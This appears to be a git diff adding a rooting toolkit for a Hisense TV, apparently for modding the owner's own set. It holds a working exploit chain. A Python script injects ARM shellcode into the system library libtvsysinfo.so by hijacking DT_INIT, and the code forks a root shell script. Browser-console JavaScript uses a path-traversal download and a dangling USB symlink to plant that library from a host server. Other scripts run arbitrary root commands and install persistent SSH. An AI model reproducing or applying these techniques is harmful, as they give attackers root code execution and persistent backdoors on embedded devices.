add stuff

root/scripts/host/build_dropbear.sh

@@ -0,0 +1,50 @@
+#!/usr/bin/env bash
+# Rebuilds the static ARM Dropbear 2022.83 (key-only) from the included source.
+# Only needed if you do not want to use the prebuilt binaries in tools/pub/.
+set -euo pipefail
+HERE="$(cd "$(dirname "$0")" && pwd)"
+ROOT="$(cd "$HERE/../.." && pwd)"
+TOP="$(cd "$ROOT/.." && pwd)"
+SRC="$TOP/sources/dropbear-2022.83.tar.bz2"
+BUILD="$TOP/build/dropbear"
+TAR_SHA="bc5a121ffbc94b5171ad5ebe01be42746d50aa797c9549a4639894a16749443b"
+
+[ -f "$SRC" ] || { echo "missing $SRC"; exit 1; }
+echo "$TAR_SHA  $SRC" | sha256sum -c -
+command -v arm-linux-gnueabihf-gcc >/dev/null || { echo "missing arm-linux-gnueabihf-gcc"; exit 1; }
+
+rm -rf "$BUILD"; mkdir -p "$BUILD"
+tar xjf "$SRC" -C "$BUILD"
+cd "$BUILD/dropbear-2022.83"
+
+./configure --host=arm-linux-gnueabihf \
+  --disable-zlib --disable-pam --disable-shadow \
+  --disable-lastlog --disable-utmp --disable-wtmp \
+  --disable-utmpx --disable-wtmpx \
+  --disable-pututline --disable-pututxline \
+  CC=arm-linux-gnueabihf-gcc \
+  CFLAGS="-Os -static" LDFLAGS="-static"
+
+# Key-only root SSH; no password auth, no client.
+cat >> localoptions.h <<'EOF'
+
+#define DROPBEAR_SVR_PASSWORD_AUTH 0
+#define DROPBEAR_SVR_PUBKEY_AUTH 1
+#define DROPBEAR_CLIENT 0
+EOF
+
+make -j"$(nproc)" PROGRAMS="dropbear dropbearkey"
+
+cp -f dropbear    "$ROOT/tools/pub/dropbear"
+cp -f dropbearkey "$ROOT/tools/pub/dropbearkey"
+chmod 755 "$ROOT/tools/pub/dropbear" "$ROOT/tools/pub/dropbearkey"
+
+# Optional SFTP: Dropbear has no sftp-server; patch SFTPSERVER_PATH to the
+# writable /3rd_rw/sshd path. The static sftp-server comes from
+# build_sftp_server.sh.
+python3 "$HERE/patch_dropbear_sftp.py"
+
+echo "---"
+file "$ROOT/tools/pub/dropbear" "$ROOT/tools/pub/dropbear-sftp" "$ROOT/tools/pub/dropbearkey"
+readelf -d "$ROOT/tools/pub/dropbear" 2>&1 | head -5 || true
+sha256sum "$ROOT/tools/pub/dropbear" "$ROOT/tools/pub/dropbear-sftp" "$ROOT/tools/pub/dropbearkey"

root/scripts/host/build_payload.sh

@@ -0,0 +1,15 @@
+#!/usr/bin/env bash
+# Builds the final libtvsysinfo payload from the included original.
+# Requires: python3, arm-linux-gnueabihf-{as,ld,objcopy}.
+set -euo pipefail
+HERE="$(cd "$(dirname "$0")" && pwd)"
+ROOT="$(cd "$HERE/../.." && pwd)"
+
+for t in arm-linux-gnueabihf-as arm-linux-gnueabihf-ld arm-linux-gnueabihf-objcopy python3; do
+  command -v "$t" >/dev/null || { echo "missing: $t"; exit 1; }
+done
+
+python3 "$HERE/build_tvi_payload.py"
+echo "---"
+sha256sum "$ROOT/tools/pub/libtvsysinfo.so"
+echo "expected: 37b13f91959acea9b3c3fd4d0e62bb2d4cb41f773add060bef68ac67657f5b0a"

root/scripts/host/build_sftp_server.sh

@@ -0,0 +1,44 @@
+#!/usr/bin/env bash
+# build_sftp_server.sh — rebuild the static ARM OpenSSH sftp-server.
+#
+# Source: https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/
+#         openssh-9.9p1.tar.gz
+# The TV has glibc 2.18 and no package manager; a static build is used.
+# Only sftp-server is built (no ssh/sshd, no OpenSSL/zlib/PAM needed).
+set -euo pipefail
+
+HERE="$(cd "$(dirname "$0")" && pwd)"
+ROOT="$(cd "$HERE/../.." && pwd)"
+TOP="$(cd "$ROOT/.." && pwd)"
+SRC="$TOP/sources/openssh-9.9p1.tar.gz"
+BUILD="$TOP/build/openssh"
+TAR_SHA="b343fbcdbff87f15b1986e6e15d6d4fc9a7d36066be6b7fb507087ba8f966c02"
+
+[ -f "$SRC" ] || { echo "missing $SRC"; exit 1; }
+echo "$TAR_SHA  $SRC" | sha256sum -c -
+command -v arm-linux-gnueabihf-gcc >/dev/null || { echo "missing arm-linux-gnueabihf-gcc"; exit 1; }
+
+rm -rf "$BUILD"; mkdir -p "$BUILD"
+tar xzf "$SRC" -C "$BUILD"
+cd "$BUILD/openssh-9.9p1"
+
+./configure --host=arm-linux-gnueabihf \
+  --without-openssl --without-zlib --without-pam \
+  --disable-etc-default-login --disable-lastlog --disable-utmp --disable-wtmp \
+  --disable-utmpx --disable-wtmpx --without-selinux --without-audit \
+  CC=arm-linux-gnueabihf-gcc CFLAGS="-Os -fno-pie" LDFLAGS="-static -no-pie"
+
+make -j"$(nproc)" sftp-server
+arm-linux-gnueabihf-strip sftp-server
+cp -f sftp-server "$ROOT/tools/pub/sftp-server"
+chmod 755 "$ROOT/tools/pub/sftp-server"
+
+echo "---"
+file "$ROOT/tools/pub/sftp-server"
+readelf -d "$ROOT/tools/pub/sftp-server" 2>&1 | head -5 || true
+sha256sum "$ROOT/tools/pub/sftp-server"
+
+if command -v qemu-arm >/dev/null; then
+  echo "--- qemu smoke ---"
+  timeout 3 qemu-arm "$ROOT/tools/pub/sftp-server" -h 2>&1 | head -5 || true
+fi

root/scripts/host/build_tvi_payload.py

@@ -0,0 +1,118 @@
+#!/usr/bin/env python3
+import struct, subprocess, os, sys, tempfile
+
+HERE = os.path.dirname(os.path.abspath(__file__))
+
+def parse_elf(d):
+    e_phoff = struct.unpack_from('<I', d, 28)[0]
+    e_phentsize = struct.unpack_from('<H', d, 42)[0]
+    e_phnum = struct.unpack_from('<H', d, 44)[0]
+    ph = []
+    for i in range(e_phnum):
+        o = e_phoff + i*e_phentsize
+        t,off,va,pa,fs,ms,fl,al = struct.unpack_from('<8I', d, o)
+        ph.append(dict(type=t, off=off, va=va, fs=fs, ms=ms, fl=fl))
+    return ph
+
+def find_dyn_init(d, ph):
+    for p in ph:
+        if p['type'] != 2: continue
+        off = p['off']
+        for j in range(0, p['fs'], 8):
+            tag, val = struct.unpack_from('<II', d, off+j)
+            if tag == 12:
+                return off+j, val
+    return None, None
+
+def gen_asm(cave, orig, selfpath, proofpath, msg, sh, script, test=False):
+    mlen = len(msg.encode('latin1'))
+    s = []
+    s.append('    .arm\n    .syntax unified\n    .text\n    .global _start\n_start:\n')
+    s.append('    push {r4-r7, r8, lr}\n')
+    # unlink self first
+    s.append('    adr r0, selfp\n    mov r7, #10\n    svc #0\n')
+    # write proof
+    s.append('    adr r0, proofp\n    movw r1, #0x241\n    movw r2, #0x1a4\n    mov r7, #5\n    svc #0\n')
+    s.append('    mov r4, r0\n    cmp r4, #0\n    blt 1f\n')
+    s.append('    mov r0, r4\n    adr r1, msgs\n    mov r2, #%d\n    mov r7, #4\n    svc #0\n' % mlen)
+    s.append('    mov r0, r4\n    mov r7, #6\n    svc #0\n1:\n')
+    # fork
+    s.append('    mov r7, #2\n    svc #0\n    cmp r0, #0\n    bne 2f\n')
+    # child execve
+    s.append('    adr r0, shp\n    adr r1, scriptp\n    mov r2, #0\n    sub sp, sp, #12\n')
+    s.append('    str r0, [sp]\n    str r1, [sp, #4]\n    str r2, [sp, #8]\n')
+    s.append('    mov r1, sp\n    mov r2, #0\n    mov r7, #11\n    svc #0\n')
+    s.append('    mov r0, #1\n    mov r7, #1\n    svc #0\n2:\n')
+    # call original init: PC-relative BL, base-independent
+    if test:
+        s.append('    bl orig_stub\n')
+    else:
+        s.append('    bl orig_init\n')
+    s.append('    pop {r4-r7, r8, pc}\n')
+    s.append('here:\n    .balign 4\n')
+    s.append('proofp: .asciz "%s"\n    .balign 4\n' % proofpath)
+    s.append('msgs: .ascii "%s"\n    .balign 4\n' % msg.replace('\n','\\n'))
+    s.append('selfp: .asciz "%s"\n    .balign 4\n' % selfpath)
+    s.append('shp: .asciz "%s"\n    .balign 4\n' % sh)
+    s.append('scriptp: .asciz "%s"\n    .balign 4\n' % script)
+    if test:
+        s.append('orig_stub:\n    bx lr\n    .balign 4\n')
+    else:
+        s.append('    .equ orig_init, %d\n' % orig)
+    return ''.join(s)
+
+def build(name, src, out, selfpath, proofpath, msg, test=False, orig_override=None, script='/3rd_rw/appdata/root_loop.sh'):
+    d = bytearray(open(src,'rb').read())
+    ph = parse_elf(d)
+    rx = [p for p in ph if p['type']==1][0]
+    dyn_off, orig = find_dyn_init(d, ph)
+    if orig_override is not None: orig = orig_override
+    if dyn_off is None: raise SystemExit('no DT_INIT')
+    if rx['ms'] != rx['fs']:
+        raise SystemExit('RX segment has BSS; append would collide')
+    cave = len(d)
+    asm = gen_asm(cave, orig, selfpath, proofpath, msg, '/bin/sh', script, test=test)
+    td = tempfile.mkdtemp(prefix='pl_')
+    sp = os.path.join(td,'p.s'); op = os.path.join(td,'p.o'); ep = os.path.join(td,'p.elf'); bp = os.path.join(td,'p.bin')
+    open(sp,'w').write(asm)
+    subprocess.run(['arm-linux-gnueabihf-as','-o',op,sp],check=True)
+    subprocess.run(['arm-linux-gnueabihf-ld','-Ttext=0x%x'%cave,'-e','0','-o',ep,op],check=True)
+    subprocess.run(['arm-linux-gnueabihf-objcopy','-O','binary','-j','.text',ep,bp],check=True)
+    code = open(bp,'rb').read()
+    oldsize = len(d)
+    d += code
+    newsize = len(d)
+    # find the first LOAD program header file offset and extend filesz/memsz
+    e_phoff = struct.unpack_from('<I', d, 28)[0]
+    e_phentsize = struct.unpack_from('<H', d, 42)[0]
+    e_phnum = struct.unpack_from('<H', d, 44)[0]
+    patched = False
+    for i in range(e_phnum):
+        o = e_phoff + i*e_phentsize
+        t,off,va,pa,fs,ms,fl,al = struct.unpack_from('<8I', d, o)
+        if t == 1 and off == rx['off'] and va == rx['va']:
+            struct.pack_into('<I', d, o+16, newsize)
+            struct.pack_into('<I', d, o+20, newsize)
+            patched = True
+            break
+    if not patched: raise SystemExit('RX program header not found')
+    struct.pack_into('<I', d, dyn_off+4, cave)
+    open(out,'wb').write(d)
+    ph2 = parse_elf(d)
+    _, o2 = find_dyn_init(d, ph2)
+    print('%s: code 0x%x, cave 0x%x, orig 0x%x, size 0x%x->0x%x, INIT 0x%x, RX page end 0x%x' % (
+        name, len(code), cave, orig, oldsize, newsize, o2, (newsize+0xfff)&~0xfff))
+
+if __name__ == '__main__':
+    here = os.path.dirname(os.path.abspath(__file__))
+    root = os.path.abspath(os.path.join(here, '..', '..'))
+    src = os.path.join(root, 'artifacts', 'tvi_original.so')
+    out = os.path.join(root, 'tools', 'pub', 'libtvsysinfo.so')
+    build('tvi', src, out,
+          '/3rd_rw/loglevel/lib/libtvsysinfo.so',
+          '/3rd_rw/root_proof.txt',
+          'ROOT_EXEC_TVI\n')
+    import hashlib
+    h = hashlib.sha256(open(out, 'rb').read()).hexdigest()
+    print('sha256', h)
+    print('expected 37b13f91959acea9b3c3fd4d0e62bb2d4cb41f773add060bef68ac67657f5b0a')

root/scripts/host/install_sftp.sh

@@ -0,0 +1,85 @@
+#!/usr/bin/env bash
+# install_sftp.sh — one-command, key-only SFTP for the TV.
+#
+# Uploads use only `ssh` + stdin; an `sftp` client is needed only for the test:
+#   1. uploads the static OpenSSH sftp-server and the patched Dropbear
+#   2. starts a test Dropbear on port 2222 (port 22 untouched)
+#   3. tests a real SFTP session on 2222
+#   4. only on success swaps the binary on port 22
+#   5. tests SFTP on 22
+#
+# Usage:
+#   cd /workspace/hisense-he40e5600-root-modding
+#   root/scripts/host/install_sftp.sh
+#   TV=root@192.168.188.94 SSH_KEY=~/.ssh/id_ed25519 root/scripts/host/install_sftp.sh
+#
+# The TV login is key-only. The private key is never copied anywhere.
+set -euo pipefail
+
+HERE="$(cd "$(dirname "$0")" && pwd)"
+ROOT="$(cd "$HERE/../.." && pwd)"
+TV="${TV:-root@192.168.188.94}"
+SSH_KEY="${SSH_KEY:-}"
+
+command -v ssh  >/dev/null || { echo "missing ssh client"; exit 1; }
+command -v sftp >/dev/null || { echo "missing sftp client (OpenSSH)"; exit 1; }
+
+SSH_OPTS=(-o BatchMode=yes -o ConnectTimeout=8 -o StrictHostKeyChecking=accept-new)
+SFTP_OPTS=(-o BatchMode=yes -o ConnectTimeout=8 -o StrictHostKeyChecking=accept-new)
+if [ -n "$SSH_KEY" ]; then
+  SSH_OPTS+=(-i "$SSH_KEY")
+  SFTP_OPTS+=(-i "$SSH_KEY")
+fi
+SSH=(ssh "${SSH_OPTS[@]}" "$TV")
+
+for f in \
+  "$ROOT/tools/pub/sftp-server" \
+  "$ROOT/tools/pub/dropbear-sftp" \
+  "$ROOT/scripts/tv/install_sftp_stage.sh" \
+  "$ROOT/scripts/tv/enable_sftp.sh" \
+  "$ROOT/scripts/tv/swap_sftp.sh"; do
+  [ -f "$f" ] || { echo "missing: $f"; exit 1; }
+done
+
+echo "=== TV: $TV ==="
+"${SSH[@]}" 'PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin; export PATH; /bin/cat /proc/self/status | /bin/grep -E "^(Uid|Gid|CapEff):"'
+
+echo "=== upload ==="
+"${SSH[@]}" '/bin/mkdir -p /3rd_rw/appdata /3rd_rw/sshd'
+"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/sftp-server'          < "$ROOT/tools/pub/sftp-server"
+"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/dropbear-sftp'        < "$ROOT/tools/pub/dropbear-sftp"
+"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/install_sftp_stage.sh' < "$ROOT/scripts/tv/install_sftp_stage.sh"
+"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/enable_sftp.sh'       < "$ROOT/scripts/tv/enable_sftp.sh"
+"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/swap_sftp.sh'         < "$ROOT/scripts/tv/swap_sftp.sh"
+"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/deploy_sshd.sh'       < "$ROOT/scripts/tv/deploy_sshd.sh"
+"${SSH[@]}" '/bin/chmod 755 /3rd_rw/appdata/sftp-server /3rd_rw/appdata/dropbear-sftp \
+  /3rd_rw/appdata/install_sftp_stage.sh /3rd_rw/appdata/enable_sftp.sh /3rd_rw/appdata/swap_sftp.sh \
+  /3rd_rw/appdata/deploy_sshd.sh'
+
+echo "=== stage + test on 2222 ==="
+"${SSH[@]}" '/bin/sh /3rd_rw/appdata/install_sftp_stage.sh'
+
+if printf 'pwd\nls /3rd_rw/UI\nbye\n' | sftp "${SFTP_OPTS[@]}" -P 2222 -b - "$TV"; then
+  echo "SFTP on 2222 OK"
+else
+  echo "SFTP on 2222 FAILED; port 22 was not touched."
+  "${SSH[@]}" '/bin/busybox tail -n 40 /3rd_rw/sshd/dropbear2222.log 2>&1 || true' || true
+  exit 1
+fi
+
+echo "=== swap to port 22 ==="
+"${SSH[@]}" '/bin/sh /3rd_rw/appdata/enable_sftp.sh' || true
+sleep 8
+
+echo "=== test on 22 ==="
+if printf 'pwd\nls /3rd_rw/UI\nbye\n' | sftp "${SFTP_OPTS[@]}" -b - "$TV"; then
+  echo "DONE: sftp $TV"
+  echo "Rollback:"
+  echo "  ssh $TV 'cp -f /3rd_rw/sshd/dropbear.nosftp /3rd_rw/sshd/dropbear; kill \$(cat /3rd_rw/sshd/dropbear.pid) 2>/dev/null; /bin/sh /3rd_rw/sshd/start_sshd.sh'"
+else
+  echo "SFTP on 22 FAILED"
+  "${SSH[@]}" '/bin/busybox tail -n 40 /3rd_rw/sshd/swap.log; /bin/busybox tail -n 40 /3rd_rw/sshd/dropbear.log' 2>&1 || true
+  echo "Restore the known-good non-SFTP Dropbear (if port 22 is up):"
+  echo "  ssh $TV 'cp -f /3rd_rw/sshd/dropbear.nosftp /3rd_rw/sshd/dropbear; kill \$(cat /3rd_rw/sshd/dropbear.pid) 2>/dev/null; /bin/sh /3rd_rw/sshd/start_sshd.sh'"
+  exit 1
+fi

root/scripts/host/patch_dropbear_sftp.py

@@ -0,0 +1,35 @@
+#!/usr/bin/env python3
+"""Create a Dropbear copy whose SFTP subsystem points at /3rd_rw/sshd/sftp-server.
+
+Dropbear does not ship an sftp-server; it execs the compile-time
+SFTPSERVER_PATH (default /usr/libexec/sftp-server). The target rootfs is
+read-only, so this copy uses the writable /3rd_rw/sshd path instead.
+The replacement has exactly the same length, so no ELF offsets change.
+"""
+import hashlib
+import pathlib
+import sys
+
+ROOT = pathlib.Path(__file__).resolve().parents[2]  # .../root
+SRC = ROOT / "tools" / "pub" / "dropbear"
+DST = ROOT / "tools" / "pub" / "dropbear-sftp"
+OLD = b"/usr/libexec/sftp-server"
+NEW = b"/3rd_rw/sshd/sftp-server"
+
+def main() -> int:
+    data = SRC.read_bytes()
+    if len(OLD) != len(NEW):
+        sys.exit(f"length mismatch: {len(OLD)} != {len(NEW)}")
+    n = data.count(OLD)
+    if n != 1:
+        sys.exit(f"expected exactly 1 occurrence of {OLD!r}, found {n}")
+    DST.write_bytes(data.replace(OLD, NEW))
+    DST.chmod(0o755)
+    h = hashlib.sha256(DST.read_bytes()).hexdigest()
+    print(f"wrote {DST}")
+    print(f"sha256 {h}")
+    print(f"size {DST.stat().st_size}")
+    return 0
+
+if __name__ == "__main__":
+    raise SystemExit(main())

root/scripts/host/plant_payload.js

@@ -0,0 +1,22 @@
+// plant_payload.js — paste into the TV recon page console.
+// Prerequisite: the ext4 stick is mounted; /mnt/usb/<dev>/tvi is a dangling
+// symlink to /3rd_rw/loglevel/lib/libtvsysinfo.so.
+//
+// 1) listDir("/mnt/usb")  -> e.g. "sda1"
+// 2) set usb below
+// 3) run; expect download=0 and back=0
+// 4) reboot the TV
+(function(){
+  var usb = "/mnt/usb/sda1";                 // <-- adjust from listDir("/mnt/usb")
+  var target = "so/../../../../dev/shm/shm_tmp" + usb + "/tvi";
+  var url = location.origin + "/pub/libtvsysinfo.so";
+  var o = {};
+  o.usb = usb;
+  o.target = target;
+  o.download = HiBrowser.File.download(url, target, 1);
+  o.back = HiBrowser.File.download("file:///3rd_rw/loglevel/lib/libtvsysinfo.so",
+                                   "tvi_check_plant.so", 1);
+  o.size = "expected 33500 bytes";
+  fetch("/recon", {method:"POST", body:"PLANT "+JSON.stringify(o)});
+  return o;
+})();

root/scripts/host/prepare_usb.sh

@@ -0,0 +1,49 @@
+#!/usr/bin/env bash
+# Prepares the ext4 USB stick for the dangling-symlink whitelist bypass.
+# DESTRUCTIVE: wipes the given block device.
+#
+# Usage: sudo ./prepare_usb.sh /dev/sdX
+# The TV mounts partitions, not whole-disk superfloppies -> MBR + ext4.
+set -euo pipefail
+
+DEV="${1:-}"
+if [ -z "$DEV" ] || [ ! -b "$DEV" ]; then
+  echo "usage: $0 /dev/sdX   (block device, e.g. /dev/sdb)"
+  exit 1
+fi
+
+case "$DEV" in
+  *mmcblk*|*nvme*) PART="${DEV}p1" ;;
+  *)               PART="${DEV}1"  ;;
+esac
+
+echo "!!! This will DESTROY $DEV and create MBR + ext4 on $PART."
+lsblk -o NAME,SIZE,MODEL,LABEL "$DEV" || true
+read -r -p "Type YES to continue: " confirm
+[ "$confirm" = "YES" ] || { echo "aborted"; exit 1; }
+
+sudo wipefs -a "$DEV"
+sudo parted -s "$DEV" mklabel msdos mkpart primary ext4 1MiB 100%
+sudo mkfs.ext4 -F -O ^64bit,^metadata_csum -L TVSYM "$PART"
+
+sudo mkdir -p /mnt/tvsym
+sudo mount "$PART" /mnt/tvsym
+sudo ln -sfn /3rd_rw/loglevel/lib/libtvsysinfo.so /mnt/tvsym/tvi
+sudo ln -sfn /3rd_rw/root_proof.txt                /mnt/tvsym/pwn
+ls -l /mnt/tvsym
+sudo sync
+sudo umount /mnt/tvsym
+
+cat <<EOF
+
+Done: $PART (label TVSYM), symlinks:
+  tvi -> /3rd_rw/loglevel/lib/libtvsysinfo.so   (required; must stay dangling)
+  pwn -> /3rd_rw/root_proof.txt                  (optional proof target)
+
+Next:
+  1. Insert the stick into the TV.
+  2. On the TV open http://<host-ip>:9000/recon.html
+  3. In the page console run root/scripts/host/plant_payload.js
+     (adjust the USB device, e.g. sda1, from listDir("/mnt/usb")).
+  4. Reboot the TV.
+EOF

root/scripts/host/run_root_cmd.js

@@ -0,0 +1,21 @@
+// run_root_cmd.js — paste into the TV recon page console.
+// The root_loop.sh (started by the payload / HamService wrapper) executes
+// /3rd_rw/appdata/root_cmd.sh and writes /3rd_rw/appdata/root_out.txt.
+//
+// Change CMD as needed. Examples:
+//   "/bin/sh /3rd_rw/appdata/deploy_sshd.sh"
+//   "id; cat /proc/self/status | grep -E '^(Uid|Gid|CapEff):'"
+//   "/bin/sh /3rd_rw/appdata/verify.sh"
+//   "/bin/sh /3rd_rw/appdata/rollback.sh"
+(function(cmd){
+  var o = {};
+  o.write = HiBrowser.File.write("root_cmd.sh", cmd + "\n", 1);
+  o.cmd = cmd;
+  setTimeout(function(){
+    var out = fileXHR("file:///3rd_rw/appdata/root_out.txt");
+    o.out = out;
+    console.log(out);
+    fetch("/recon", {method:"POST", body:"ROOTOUT "+JSON.stringify(o)});
+  }, 5000);
+  return o;
+})("/bin/sh /3rd_rw/appdata/deploy_sshd.sh");

root/scripts/host/start_http.sh

@@ -0,0 +1,12 @@
+#!/usr/bin/env bash
+# Serves root/tools/recon.html + root/tools/pub/* on port 9000 (or $1).
+set -euo pipefail
+HERE="$(cd "$(dirname "$0")" && pwd)"
+cd "$HERE/../tools"
+PORT="${1:-9000}"
+IP="$(hostname -I 2>/dev/null | awk '{print $1}')"
+[ -n "$IP" ] || IP="<host-ip>"
+echo "TV URL:  http://$IP:$PORT/recon.html"
+echo "Pub dir: $(pwd)/pub"
+echo "Captures:$(pwd)/captures"
+exec python3 server.py "$PORT"

root/scripts/host/upload_to_appdata.js

@@ -0,0 +1,25 @@
+// upload_to_appdata.js — paste into the TV recon page console (after root).
+// Downloads the SSH/Dropbear deploy files from the host server into
+// /3rd_rw/appdata so deploy_sshd.sh can install them.
+(function(){
+  var files = [
+    "dropbear",
+    "dropbear-sftp",
+    "dropbearkey",
+    "sftp-server",
+    "authorized_keys",
+    "start_sshd.sh",
+    "root_loop.sh",
+    "hamservice-wrapper.sh",
+    "deploy_sshd.sh",
+    "verify.sh",
+    "rollback.sh"
+  ];
+  var o = {};
+  for (var i = 0; i < files.length; i++) {
+    o[files[i]] = HiBrowser.File.download(location.origin + "/pub/" + files[i],
+                                          files[i], 1);
+  }
+  fetch("/recon", {method:"POST", body:"UPLOAD "+JSON.stringify(o)});
+  return o;
+})();